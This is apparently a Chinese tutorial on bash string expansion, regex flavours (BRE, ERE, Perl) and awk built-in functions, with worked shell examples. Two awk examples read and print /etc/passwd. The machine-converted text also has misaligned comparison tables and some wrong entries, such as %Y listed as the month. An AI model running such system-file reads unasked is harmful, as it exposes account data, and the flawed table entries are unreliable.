  12. # echo ${var##?e}    
  13. stcase  
  14. # echo ${var##*e}    
  15.   
  16. # echo ${var##*s}    
  17. e    
  18. # echo ${var##test}    
  19. case    

 四、字符串提取和替換

${var:num},${var:num1:num2},${var/pattern/pattern},${var//pattern/pattern}

       第一種模式:${var:num},這種模式時,shell在var中提取第num個字符到末尾的全部字符。若num爲正數,從左邊0處開始;若num爲負數,從右邊開始提取字串,但必須使用在冒號後面加空格或一個數字或整個num加上括號,如${var: -2}、${var:1-3}或${var:(-2)}。        
        第二種模式:${var:num1:num2},num1是位置,num2是長度。表示從$var字符串的第$num1個位置開始提取長度爲$num2的子串。不能爲負數。
       第三種模式:${var/pattern/pattern}表示將var字符串的第一個匹配的pattern替換爲另外一個pattern。。         
       第四種模式:${var//pattern/pattern}表示將var字符串中的全部能匹配的pattern替換爲另外一個pattern。
[html] view plain copy
 
 
  1. [root@centos ~]# var=/home/centos  
  2. [root@centos ~]# echo $var  
  3. /home/centos  
  4. [root@centos ~]# echo ${var:5}  
  5. /centos  
  6. [root@centos ~]# echo ${var: -6}  
  7. centos  
  8. [root@centos ~]# echo ${var:(-6)}  
  9. centos  
  10. [root@centos ~]# echo ${var:1:4}  
  11. home  
  12. [root@centos ~]# echo ${var/o/h}  
  13. /hhme/centos  
  14. [root@centos ~]# echo ${var//o/h}  
  15. /hhme/cenths  

4、符號$後的括號

(1)${a} 變量a的值, 在不引發歧義的狀況下能夠省略大括號。

(2)$(cmd) 命令替換,和`cmd`效果相同,結果爲shell命令cmd的輸,過某些Shell版本不支持$()形式的命令替換, 如tcsh。

(3)$((expression)) 和`exprexpression`效果相同, 計算數學表達式exp的數值, 其中exp只要符合C語言的運算規則便可, 甚至三目運算符和邏輯表達式均可以計算。

5、使用

一、多條命令執行

(1)單小括號,(cmd1;cmd2;cmd3) 新開一個子shell順序執行命令cmd1,cmd2,cmd3, 各命令之間用分號隔開, 最後一個命令後能夠沒有分號。

(2)單大括號,{ cmd1;cmd2;cmd3;} 在當前shell順序執行命令cmd1,cmd2,cmd3, 各命令之間用分號隔開, 最後一個命令後必須有分號, 第一條命令和左括號之間必須用空格隔開。
對{}和()而言, 括號中的重定向符隻影響該條命令, 而括號外的重定向符影響到括號中的全部命令。

 

linux shell 正則表達式(BREs,EREs,PREs)差別比較

則表達式:在計算機科學中,是指一個用來描述或者匹配一系列符合某個句法規則的字符串的單個字符串。在不少文本編輯器或其餘工具裏,正則表達式一般被用來檢索和/或替換那些符合某個模式的文本內容。許多程序設計語言都支持利用正則表達式進行字符串操做。例如,在Perl中就內建了一個功能強大的正則表達式引擎。正則表達式這個概念最初是由Unix中的工具軟件(例如sed和grep)普及開的。正則表達式一般縮寫成「regex」,單數有regexp、regex,複數有regexps、regexes、regexen。這些是正則表達式的定義。 因爲起源於unix系統,所以不少語法規則同樣的。可是隨着逐漸發展,後來擴展出如下幾個類型。瞭解這些對於學習正則表達式。

 

1、正則表達式分類:

一、基本的正則表達式(Basic Regular Expression 又叫 Basic RegEx  簡稱 BREs)

二、擴展的正則表達式(Extended Regular Expression 又叫 Extended RegEx 簡稱 EREs)

三、Perl 的正則表達式(Perl Regular Expression 又叫 Perl RegEx 簡稱 PREs)

 

說明:只有掌握了正則表達式,才能全面地掌握 Linux 下的經常使用文本工具(例如:grep、egrep、GUN sed、 Awk 等) 的用法

  

2、Linux 中經常使用文本工具與正則表達式的關係 

常握 Linux 下幾種經常使用文本工具的特色,對於咱們更好的使用正則表達式是頗有幫助的

  • grep , egrep 正則表達式特色:

1)grep 支持:BREs、EREs、PREs 正則表達式

grep 指令後不跟任何參數,則表示要使用 」BREs「 

grep 指令後跟 」-E" 參數,則表示要使用 「EREs「

grep 指令後跟 「-P" 參數,則表示要使用 「PREs"

 

2)egrep 支持:EREs、PREs 正則表達式

egrep 指令後不跟任何參數,則表示要使用 「EREs」

egrep 指令後跟 「-P" 參數,則表示要使用 「PREs"

 

3)grep 與 egrep 正則匹配文件,處理文件方法

a. grep 與 egrep 的處理對象:文本文件

b. grep 與 egrep 的處理過程:查找文本文件中是否含要查找的 「關鍵字」(關鍵字能夠是正則表達式) ,若是含有要查找的 」關健字「,那麼默認返回該文本文件中包含該」關健字「的該行的內容,並在標準輸出中顯示出來,除非使用了「>" 重定向符號,

c. grep 與 egrep 在處理文本文件時,是按行處理的

 

  • sed 正則表達式特色

1)sed 文本工具支持:BREs、EREs

sed 指令默認是使用"BREs"

sed 命令參數 「-r 」 ,則表示要使用「EREs"

2)sed 功能與做用

a. sed 處理的對象:文本文件

b. sed 處理操做:對文本文件的內容進行 --- 查找、替換、刪除、增長等操做

c. sed 在處理文本文件的時候,也是按行處理的

  • Awk(gawk)正則表達式特色

1)Awk 文本工具支持:EREs

awk 指令默認是使用 「EREs"

2)Awk 文本工具處理文本的特色

a. awk 處理的對象:文本文件

b. awk 處理操做:主要是對列進行操做

 

 

 

3、常見3中類型正則表達式比較

字符 說明 Basic RegEx Extended RegEx python RegEx Perl regEx
轉義   \ \ \ \
^ 匹配行首,例如'^dog'匹配以字符串dog開頭的行(注意:awk 指令中,'^'則是匹配字符串的開始) ^ ^ ^ ^
$ 匹配行尾,例如:'^、dog$'匹配以字符串 dog 爲結尾的行(注意:awk 指令中,'$'則是匹配字符串的結尾) $ $ $ $

^$

匹配空行

^$ ^$ ^$ ^$
^string$ 匹配行,例如:'^dog$'匹配只含一個字符串 dog 的行 ^string$ ^string$ ^string$ ^string$
\< 匹配單詞,例如:'\<frog' (等價於'\bfrog'),匹配以 frog 開頭的單詞 \< \< 不支持 不支持(但能夠使用\b來匹配單詞,例如:'\bfrog')

\>

匹配單詞,例如:'frog\>'(等價於'frog\b '),匹配以 frog 結尾的單詞 \> \> 不支持 不支持(但能夠使用\b來匹配單詞,例如:'frog\b')

\<x\>

匹配一個單詞或者一個特定字符,例如:'\<frog\>'(等價於'\bfrog\b')、'\<G\>' \<x\> \<x\> 不支持 不支持(但能夠使用\b來匹配單詞,例如:'\bfrog\b'

()

匹配表達式,例如:不支持'(frog)' 不支持(但能夠使用,如:dogdog () () ()
  匹配表達式,例如:不支持'(frog)'   不支持(同()) 不支持(同()) 不支持(同())

匹配前面的子表達式 0 次或 1 次(等價於{0,1}),例如:where(is)?能匹配"where" 以及"whereis" 不支持(同\?)
\? 匹配前面的子表達式 0 次或 1 次(等價於'\{0,1\}'),例如:'whereisis\? '能匹配 "where"以及"whereis" \? 不支持(同?) 不支持(同?) 不支持(同?)
? 當該字符緊跟在任何一個其餘限制符(*, +, ?, {n},{n,}, {n,m}) 後面時,匹配模式是非貪婪的。非貪婪模式儘量少的匹配所搜索的字符串,而默認的貪婪模式則儘量多的匹配所搜索的字符串。例如,對於字符串 "oooo",'o+?' 將匹配單個"o",而 'o+' 將匹配全部 'o' 不支持 不支持 不支持 不支持
. 匹配除換行符('\n')以外的任意單個字符(注意:awk 指令中的句點能匹配換行符) . .(若是要匹配包括「\n」在內的任何一個字符,請使用:'(^$)|(.) . .(若是要匹配包括「\n」在內的任何一個字符,請使用:' [.\n] '
* 匹配前面的子表達式 0 次或屢次(等價於{0, }),例如:zo* 能匹配 "z"以及 "zoo" * * * *
\+ 匹配前面的子表達式 1 次或屢次(等價於'\{1, \}'),例如:'whereisis\+ '能匹配 "whereis"以及"whereisis" \+ 不支持(同+) 不支持(同+) 不支持(同+)
+ 匹配前面的子表達式 1 次或屢次(等價於{1, }),例如:zo+能匹配 "zo"以及 "zoo",但不能匹配 "z" 不支持(同\+) + + +

{n}

n 必須是一個 0 或者正整數,匹配子表達式 n 次,例如:zo{2}能匹配 不支持(同\{n\}) {n} {n} {n}
{n,} "zooz",但不能匹配 "Bob"n 必須是一個 0 或者正整數,匹配子表達式大於等於 n次,例如:go{2,} 不支持(同\{n,\}) {n,} {n,} {n,}
{n,m} 能匹配 "good",但不能匹配 godm 和 n 均爲非負整數,其中 n <= m,最少匹配 n 次且最多匹配 m 次 ,例如:o{1,3}將配"fooooood" 中的前三個 o(請注意在逗號和兩個數之間不能有空格) 不支持(同\{n,m\}) {n,m} {n,m} {n,m}

x|y

匹配 x 或 y,例如: 不支持'z|(food)' 能匹配 "z" 或"food";'(z|f)ood' 則匹配"zood" 或 "food" 不支持(同x\|y) x|y x|y x|y

[0-9]

匹配從 0 到 9 中的任意一個數字字符(注意:要寫成遞增) [0-9] [0-9] [0-9] [0-9]

[xyz]

字符集合,匹配所包含的任意一個字符,例如:'[abc]'能夠匹配"lay" 中的 'a'(注意:若是元字符,例如:. *等,它們被放在[ ]中,那麼它們將變成一個普通字符) [xyz] [xyz] [xyz] [xyz]

[^xyz]

負值字符集合,匹配未包含的任意一個字符(注意:不包括換行符),例如:'[^abc]' 能夠匹配 "Lay" 中的'L'(注意:[^xyz]在awk 指令中則是匹配未包含的任意一個字符+換行符) [^xyz] [^xyz] [^xyz] [^xyz]
[A-Za-z] 匹配大寫字母或者小寫字母中的任意一個字符(注意:要寫成遞增) [A-Za-z] [A-Za-z] [A-Za-z] [A-Za-z]
[^A-Za-z] 匹配除了大寫與小寫字母以外的任意一個字符(注意:寫成遞增) [^A-Za-z] [^A-Za-z] [^A-Za-z] [^A-Za-z]

\d

匹配從 0 到 9 中的任意一個數字字符(等價於 [0-9]) 不支持 不支持 \d \d

\D

匹配非數字字符(等價於 [^0-9]) 不支持 不支持 \D \D
\S 匹配任何非空白字符(等價於[^\f\n\r\t\v]) 不支持 不支持 \S \S
\s 匹配任何空白字符,包括空格、製表符、換頁符等等(等價於[ \f\n\r\t\v]) 不支持 不支持 \s \s
\W

匹配任何非單詞字符 (等價於[^A-Za-z0-9_])

\W \W \W \W
\w 匹配包括下劃線的任何單詞字符(等價於[A-Za-z0-9_]) \w \w \w \w
\B 匹配非單詞邊界,例如:'er\B' 能匹配 "verb" 中的'er',但不能匹配"never" 中的'er' \B \B \B \B

\b

匹配一個單詞邊界,也就是指單詞和空格間的位置,例如: 'er\b' 能夠匹配"never" 中的 'er',但不能匹配 "verb" 中的'er' \b \b \b \b
\t 匹配一個橫向製表符(等價於 \x09和 \cI) 不支持 不支持 \t \t
\v 匹配一個垂直製表符(等價於 \x0b和 \cK) 不支持 不支持 \v \v
\n 匹配一個換行符(等價於 \x0a 和\cJ) 不支持 不支持 \n \n
\f 匹配一個換頁符(等價於\x0c 和\cL) 不支持 不支持 \f \f
\r 匹配一個回車符(等價於 \x0d 和\cM) 不支持 不支持 \r \r
\\ 匹配轉義字符自己"\" \\ \\ \\ \\

\cx

匹配由 x 指明的控制字符,例如:\cM匹配一個Control-M 或回車符,x 的值必須爲A-Z 或 a-z 之一,不然,將 c 視爲一個原義的 'c' 字符 不支持 不支持   \cx

\xn

匹配 n,其中 n 爲十六進制轉義值。十六進制轉義值必須爲肯定的兩個數字長,例如:'\x41' 匹配 "A"。'\x041' 則等價於'\x04' & "1"。正則表達式中能夠使用 ASCII 編碼 不支持 不支持   \xn

\num

匹配 num,其中 num是一個正整數。表示對所獲取的匹配的引用 不支持 \num \num  
[:alnum:] 匹配任何一個字母或數字([A-Za-z0-9]),例如:'[[:alnum:]] ' [:alnum:] [:alnum:] [:alnum:] [:alnum:]
[:alpha:] 匹配任何一個字母([A-Za-z]), 例如:' [[:alpha:]] ' [:alpha:] [:alpha:] [:alpha:] [:alpha:]
[:digit:] 匹配任何一個數字([0-9]),例如:'[[:digit:]] ' [:digit:] [:digit:] [:digit:] [:digit:]
[:lower:] 匹配任何一個小寫字母([a-z]), 例如:' [[:lower:]] ' [:lower:] [:lower:] [:lower:] [:lower:]
[:upper:] 匹配任何一個大寫字母([A-Z]) [:upper:] [:upper:] [:upper:] [:upper:]
[:space:] 任何一個空白字符: 支持製表符、空格,例如:' [[:space:]] ' [:space:] [:space:] [:space:] [:space:]
[:blank:] 空格和製表符(橫向和縱向),例如:'[[:blank:]]'ó'[\s\t\v]' [:blank:] [:blank:] [:blank:] [:blank:]
[:graph:] 任何一個能夠看得見的且能夠打印的字符(注意:不包括空格和換行符等),例如:'[[:graph:]] ' [:graph:] [:graph:] [:graph:] [:graph:]
[:print:] 任何一個能夠打印的字符(注意:不包括:[:cntrl:]、字符串結束符'\0'、EOF 文件結束符(-1), 但包括空格符號),例如:'[[:print:]] ' [:print:] [:print:] [:print:] [:print:]

[:cntrl:]

任何一個控制字符(ASCII 字符集中的前 32 個字符,即:用十進制表示爲從 0 到31,例如:換行符、製表符等等),例如:' [[:cntrl:]]'

[:cntrl:]

[:cntrl:]

[:cntrl:]

[:cntrl:]

[:punct:] 任何一個標點符號(不包括:[:alnum:]、[:cntrl:]、[:space:]這些字符集) [:punct:] [:punct:] [:punct:] [:punct:]
[:xdigit:] 任何一個十六進制數(即:0-9,a-f,A-F) [:xdigit:] [:xdigit:] [:xdigit:] [:xdigit:]

 

4、三種不一樣類型正則表達式比較

注意: 當使用 BERs(基本正則表達式)時,必須在下列這些符號前加上轉義字符('\'),屏蔽掉它們的 speical meaning  「?,+,|,{,},(,)」 這些字符,須要加入轉義符號」\」

 

注意:修飾符用在正則表達式結尾,例如:/dog/i,其中 「 i 「 就是修飾符,它表明的含義就是:匹配時不區分大小寫,那麼修飾符有哪些呢?常見的修飾符以下:

g   全局匹配(即:一行上的每一個出現,而不僅是一行上的第一個出現)
s    把整個匹配串看成一行處理
m    多行匹配
i    忽略大小寫
x    容許註釋和空格的出現
U    非貪婪匹配

 
 
 
 
 

awk 正則表達式、正則運算符詳細介紹

前言:使用awk做爲文本處理工具,正則表達式是少不了的。 要掌握這個工具的正則表達式使用。其實,咱們沒必要單獨去學習它的正則表達式。正則表達式就像一門程序語言,有本身語法規則已經表示意思。 對於不一樣工具,其實大部分表示意思相同的。在linux衆多文本處理工具(awk,sed,grep,perl)裏面用到正則表達式。其實就只有3種類型。詳細能夠參考:linux shell 正則表達式(BREs,EREs,PREs)差別比較 。只要是某些工具是屬於某種類型的正則表達式。那麼它的語法規則基本同樣。 經過那篇文章,咱們知道awk的正則表達式,是屬於:擴展的正則表達式(Extended Regular Expression 又叫 Extended RegEx 簡稱 EREs)。

 

1、awk Extended Regular Expression (ERES)基礎表達式符號介紹

字符 功能
+ 指定若是一個或多個字符或擴展正則表達式的具體值(在 +(加號)前)在這個字符串中,則字符串匹配。命令行:

awk '/smith+ern/' testfile

將包含字符 smit,後跟一個或多個 h 字符,並以字符 ern 結束的字符串的任何記錄打印至標準輸出。此示例中的輸出是:

smithern, harry smithhern, anne

? 指定若是零個或一個字符或擴展正則表達式的具體值(在 ?(問號)以前)在字符串中,則字符串匹配。命令行:

awk '/smith?/' testfile

將包含字符 smit,後跟零個或一個 h 字符的實例的全部記錄打印至標準輸出。此示例中的輸出是:

smith, alan smithern, harry smithhern, anne smitters, alexis

| 指定若是以 |(垂直線)隔開的字符串的任何一個在字符串中,則字符串匹配。命令行:

awk '/allen | alan /' testfile

將包含字符串 allen 或 alan 的全部記錄打印至標準輸出。此示例中的輸出是:

smiley, allen smith, alan

( ) 在正則表達式中將字符串組合在一塊兒。命令行:

awk '/a(ll)?(nn)?e/' testfile

將具備字符串 ae 或 alle 或 anne 或 allnne 的全部記錄打印至標準輸出。此示例中的輸出是:

smiley, allen smithhern, anne

{m} 指定若是正好有 m 個模式的具體值位於字符串中,則字符串匹配。命令行:

awk '/l{2}/' testfile

打印至標準輸出

smiley, allen

{m,} 指定若是至少 m 個模式的具體值在字符串中,則字符串匹配。命令行:

awk '/t{2,}/' testfile

打印至標準輸出:

smitters, alexis

{m, n} 指定若是 m 和 n 之間(包含的 m 和 n)個模式的具體值在字符串中(其中m <= n),則字符串匹配。命令行:

awk '/er{1, 2}/' testfile

打印至標準輸出:

smithern, harry smithern, anne smitters, alexis

[String] 指定正則表達式與方括號內 String 變量指定的任何字符匹配。命令行:

awk '/sm[a-h]/' testfile

將具備 sm 後跟以字母順序從 a 到 h 排列的任何字符的全部記錄打印至標準輸出。此示例的輸出是:

smawley, andy

[^ String] 在 [ ](方括號)和在指定字符串開頭的 ^ (插入記號) 指明正則表達式與方括號內的任何字符不匹配。這樣,命令行:

awk '/sm[^a-h]/' testfile

打印至標準輸出:

smiley, allen smith, alan smithern, harry smithhern, anne smitters, alexis

~,!~ 表示指定變量與正則表達式匹配(代字號)或不匹配(代字號、感嘆號)的條件語句。命令行:

awk '$1 ~ /n/' testfile

將第一個字段包含字符 n 的全部記錄打印至標準輸出。此示例中的輸出是:

smithern, harry smithhern, anne

^ 指定字段或記錄的開頭。命令行:

awk '$2 ~ /^h/' testfile

將把字符 h 做爲第二個字段的第一個字符的全部記錄打印至標準輸出。此示例中的輸出是:

smithern, harry

$ 指定字段或記錄的末尾。命令行:

awk '$2 ~ /y$/' testfile

將把字符 y 做爲第二個字段的最後一個字符的全部記錄打印至標準輸出。此示例中的輸出是:

smawley, andy smithern, harry

. (句號) 表示除了在空白末尾的終端換行字符之外的任何一個字符。命令行:

awk '/a..e/' testfile

將具備以兩個字符隔開的字符 a 和 e 的全部記錄打印至標準輸出。此示例中的輸出是:

smawley, andy smiley, allen smithhern, anne

*(星號) 表示零個或更多的任意字符。命令行:

awk '/a.*e/' testfile

將具備以零個或更多字符隔開的字符 a 和 e 的全部記錄打印至標準輸出。此示例中的輸出是:

smawley, andy smiley, allen smithhern, anne smitters, alexis

\ (反斜槓) 轉義字符。當位於在擴展正則表達式中具備特殊含義的任何字符以前時,轉義字符除去該字符的任何特殊含義。例如,命令行:

/a\/\//

將與模式 a // 匹配,由於反斜槓否認斜槓做爲正則表達式定界符的一般含義。要將反斜槓自己指定爲字符,則使用雙反斜槓。有關反斜槓及其使用的更多信息,請參閱如下關於轉義序列的內容。

 

與PERs相比,主要是一些結合類型表示符沒有了:包括:」\d,\D,\s,\S,\t,\v,\n,\f,\r」其它功能基本同樣的。 咱們常見的軟件:javascript,.net,java支持的正則表達式,基本上是:EPRs類型。

 

2、awk 常見調用正則表達式方法

  • awk語句中:

awk ‘/REG/{action}’

/REG/爲正則表達式,能夠將$0中,知足條件記錄 送入到:action進行處理.

  • awk正則運算語句(~,~!等同!~)

[chengmo@centos5 ~]$ awk 'BEGIN{info="this is a test";if( info ~ /test/){print "ok"}}'
ok

  • awk內置使用正則表達式函數

gsub( Ere, Repl, [ In ] )

sub( Ere, Repl, [ In ] )

match( String, Ere )

split( String, A, [Ere] )

 

linux awk 內置函數詳細介紹(實例)

 

1、算術函數:

如下算術函數執行與 C 語言中名稱相同的子例程相同的操做:

函數名 說明
atan2( y, x ) 返回 y/x 的反正切。
cos( x ) 返回 x 的餘弦;x 是弧度。
sin( x ) 返回 x 的正弦;x 是弧度。
exp( x ) 返回 x 冪函數。
log( x ) 返回 x 的天然對數。
sqrt( x ) 返回 x 平方根。
int( x ) 返回 x 的截斷至整數的值。
rand( ) 返回任意數字 n,其中 0 <= n < 1。
srand( [Expr] ) 將 rand 函數的種子值設置爲 Expr 參數的值,或若是省略 Expr 參數則使用某天的時間。返回先前的種子值。

 

舉例說明:

[chengmo@centos5 ~]$ awk 'BEGIN{OFMT="%.3f";fs=sin(1);fe=exp(10);fl=log(10);fi=int(3.1415);print fs,fe,fl,fi;}'
0.841 22026.466 2.303 3

 

OFMT 設置輸出數據格式是保留3位小數

得到隨機數:

[chengmo@centos5 ~]$ awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
78
[chengmo@centos5 ~]$ awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
31
[chengmo@centos5 ~]$ awk 'BEGIN{srand();fr=int(100*rand());print fr;}'

41

 

 

2、字符串函數:
函數 說明
gsub( Ere, Repl, [ In ] ) 除了正則表達式全部具體值被替代這點,它和 sub 函數徹底同樣地執行,。
sub( Ere, Repl, [ In ] ) 用 Repl 參數指定的字符串替換 In 參數指定的字符串中的由 Ere 參數指定的擴展正則表達式的第一個具體值。sub 函數返回替換的數量。出如今 Repl 參數指定的字符串中的 &(和符號)由 In 參數指定的與 Ere 參數的指定的擴展正則表達式匹配的字符串替換。若是未指定 In 參數,缺省值是整個記錄($0 記錄變量)。
index( String1, String2 ) 在由 String1 參數指定的字符串(其中有出現 String2 指定的參數)中,返回位置,從 1 開始編號。若是 String2 參數不在 String1 參數中出現,則返回 0(零)。
length [(String)] 返回 String 參數指定的字符串的長度(字符形式)。若是未給出 String 參數,則返回整個記錄的長度($0 記錄變量)。
blength [(String)] 返回 String 參數指定的字符串的長度(以字節爲單位)。若是未給出 String 參數,則返回整個記錄的長度($0 記錄變量)。
substr( String, M, [ N ] ) 返回具備 N 參數指定的字符數量子串。子串從 String 參數指定的字符串取得,其字符以 M 參數指定的位置開始。M 參數指定爲將 String 參數中的第一個字符做爲編號 1。若是未指定 N 參數,則子串的長度將是 M 參數指定的位置到 String 參數的末尾 的長度。
match( String, Ere ) 在 String 參數指定的字符串(Ere 參數指定的擴展正則表達式出如今其中)中返回位置(字符形式),從 1 開始編號,或若是 Ere 參數不出現,則返回 0(零)。RSTART 特殊變量設置爲返回值。RLENGTH 特殊變量設置爲匹配的字符串的長度,或若是未找到任何匹配,則設置爲 -1(負一)。
split( String, A, [Ere] ) 將 String 參數指定的參數分割爲數組元素 A[1], A[2], . . ., A[n],並返回 n 變量的值。此分隔能夠經過 Ere 參數指定的擴展正則表達式進行,或用當前字段分隔符(FS 特殊變量)來進行(若是沒有給出 Ere 參數)。除非上下文指明特定的元素還應具備一個數字值,不然 A 數組中的元素用字符串值來建立。
tolower( String ) 返回 String 參數指定的字符串,字符串中每一個大寫字符將更改成小寫。大寫和小寫的映射由當前語言環境的 LC_CTYPE 範疇定義。
toupper( String ) 返回 String 參數指定的字符串,字符串中每一個小寫字符將更改成大寫。大寫和小寫的映射由當前語言環境的 LC_CTYPE 範疇定義。
sprintf(Format, Expr, Expr, . . . ) 根據 Format 參數指定的 printf 子例程格式字符串來格式化 Expr 參數指定的表達式並返回最後生成的字符串。
Ere均可以是正則表達式

 

gsub,sub使用

[chengmo@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";gsub(/[0-9]+/,"!",info);print info}'  

 

this is a test!test!

 

在 info中查找知足正則表達式,/[0-9]+/ 用」」替換,而且替換後的值,賦值給info 未給info值,默認是$0

查找字符串(index使用)

[wangsl@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";print index(info,"test")?"ok":"no found";}'   
ok

未找到,返回0

正則表達式匹配查找(match使用)

[wangsl@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";print match(info,/[0-9]+/)?"ok":"no found";}'          
ok

截取字符串(substr使用)

[wangsl@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";print substr(info,4,10);}'                        
s is a tes

從第 4個 字符開始,截取10個長度字符串

字符串分割(split使用)

[chengmo@centos5 ~]$ awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA){print k,tA[k];}}'
4
4 test
1 this
2 is
3 a

分割info,動態建立數組tA,這裏比較有意思,awk for …in 循環,是一個無序的循環。 並非從數組下標1…n ,所以使用時候須要注意。

格式化字符串輸出(sprintf使用)

格式化字符串格式:

其中格式化字符串包括兩部份內容: 一部分是正常字符, 這些字符將按原樣輸出; 另外一部分是格式化規定字符, 以"%"開始, 後跟一個或幾個規定字符,用來肯定輸出內容格式。

格式符 說明
%d 十進制有符號整數
%u 十進制無符號整數
%f 浮點數
%s 字符串
%c 單個字符
%p 指針的值
%e 指數形式的浮點數
%x %X 無符號以十六進制表示的整數
%o 無符號以八進制表示的整數
%g 自動選擇合適的表示法

[chengmo@centos5 ~]$ awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%o\n",n1,n2,n3,n1,n1);}'
124.11,18446744073709551615,1.2,7C,174

 

3、通常函數:
函數 說明
close( Expression ) 用同一個帶字符串值的 Expression 參數來關閉由 print 或 printf 語句打開的或調用 getline 函數打開的文件或管道。若是文件或管道成功關閉,則返回 0;其它狀況下返回非零值。若是打算寫一個文件,並稍後在同一個程序中讀取文件,則 close 語句是必需的。
system(Command ) 執行 Command 參數指定的命令,並返回退出狀態。等同於 system 子例程。
Expression | getline [ Variable ] 歷來自 Expression 參數指定的命令的輸出中經過管道傳送的流中讀取一個輸入記錄,並將該記錄的值指定給 Variable 參數指定的變量。若是當前未打開將 Expression 參數的值做爲其命令名稱的流,則建立流。建立的流等同於調用popen 子例程,此時 Command 參數取 Expression 參數的值且 Mode 參數設置爲一個是 r 的值。只要流保留打開且 Expression 參數求得同一個字符串,則對 getline 函數的每次後續調用讀取另外一個記錄。若是未指定 Variable 參數,則 $0 記錄變量和 NF 特殊變量設置爲從流讀取的記錄。
getline [ Variable ] < Expression 從 Expression 參數指定的文件讀取輸入的下一個記錄,並將 Variable 參數指定的變量設置爲該記錄的值。只要流保留打開且 Expression 參數對同一個字符串求值,則對 getline 函數的每次後續調用讀取另外一個記錄。若是未指定 Variable 參數,則 $0 記錄變量和 NF 特殊變量設置爲從流讀取的記錄。
getline [ Variable ] 將 Variable 參數指定的變量設置爲從當前輸入文件讀取的下一個輸入記錄。若是未指定 Variable 參數,則 $0 記錄變量設置爲該記錄的值,還將設置 NF、NR 和 FNR 特殊變量。

 

打開外部文件(close用法)

[chengmo@centos5 ~]$ awk 'BEGIN{while("cat /etc/passwd"|getline){print $0;};close("/etc/passwd");}'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin

 

逐行讀取外部文件(getline使用方法)

[chengmo@centos5 ~]$ awk 'BEGIN{while(getline < "/etc/passwd"){print $0;};close("/etc/passwd");}'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin

 

[chengmo@centos5 ~]$ awk 'BEGIN{print "Enter your name:";getline name;print name;}'
Enter your name:
chengmo
chengmo

  

調用外部應用程序(system使用方法)

[chengmo@centos5 ~]$ awk 'BEGIN{b=system("ls -al");print b;}'
total 42092
drwxr-xr-x 14 chengmo chengmo     4096 09-30 17:47 .
drwxr-xr-x 95 root   root       4096 10-08 14:01 ..

 

b返回值,是執行結果。

 

 

 

4、時間函數

 

函數名 說明
mktime( YYYY MM DD HH MM SS[ DST]) 生成時間格式
strftime([format [, timestamp]]) 格式化時間輸出,將時間戳轉爲時間字符串 
具體格式,見下表.
systime() 獲得時間戳,返回從1970年1月1日開始到當前時間(不計閏年)的整秒數

 

建立指定時間(mktime使用)

[chengmo@centos5 ~]$ awk 'BEGIN{tstamp=mktime("2001 01 01 12 12 12");print strftime("%c",tstamp);}'
2001年01月01日 星期一 12時12分12秒

 

[chengmo@centos5 ~]$ awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=mktime("2001 02 01 0 0 0");print tstamp2-tstamp1;}'
2634468

求2個時間段中間時間差,介紹了strftime使用方法

 

[chengmo@centos5 ~]$ awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2-tstamp1;}'
308201392

 

strftime日期和時間格式說明符

 
 
格式 描述
%a 星期幾的縮寫(Sun)
%A 星期幾的完整寫法(Sunday)
%b 月名的縮寫(Oct)
%B 月名的完整寫法(October)
%c 本地日期和時間
%d 十進制日期
%D 日期 08/20/99
%e 日期,若是隻有一位會補上一個空格
%H 用十進制表示24小時格式的小時
%I 用十進制表示12小時格式的小時
%j 從1月1日起一年中的第幾天
%m 十進制表示的月份
%M 十進制表示的分鐘
%p 12小時表示法(AM/PM)
%S 十進制表示的秒
%U 十進制表示的一年中的第幾個星期(星期天做爲一個星期的開始)
%w 十進制表示的星期幾(星期天是0)
%W 十進制表示的一年中的第幾個星期(星期一做爲一個星期的開始)
%x 從新設置本地日期(08/20/99)
%X 從新設置本地時間(12:00:00)
%y 兩位數字表示的年(99)
%Y 當前月份
%Z 時區(PDT)
%% 百分號(%)
相關文章
相關標籤/搜索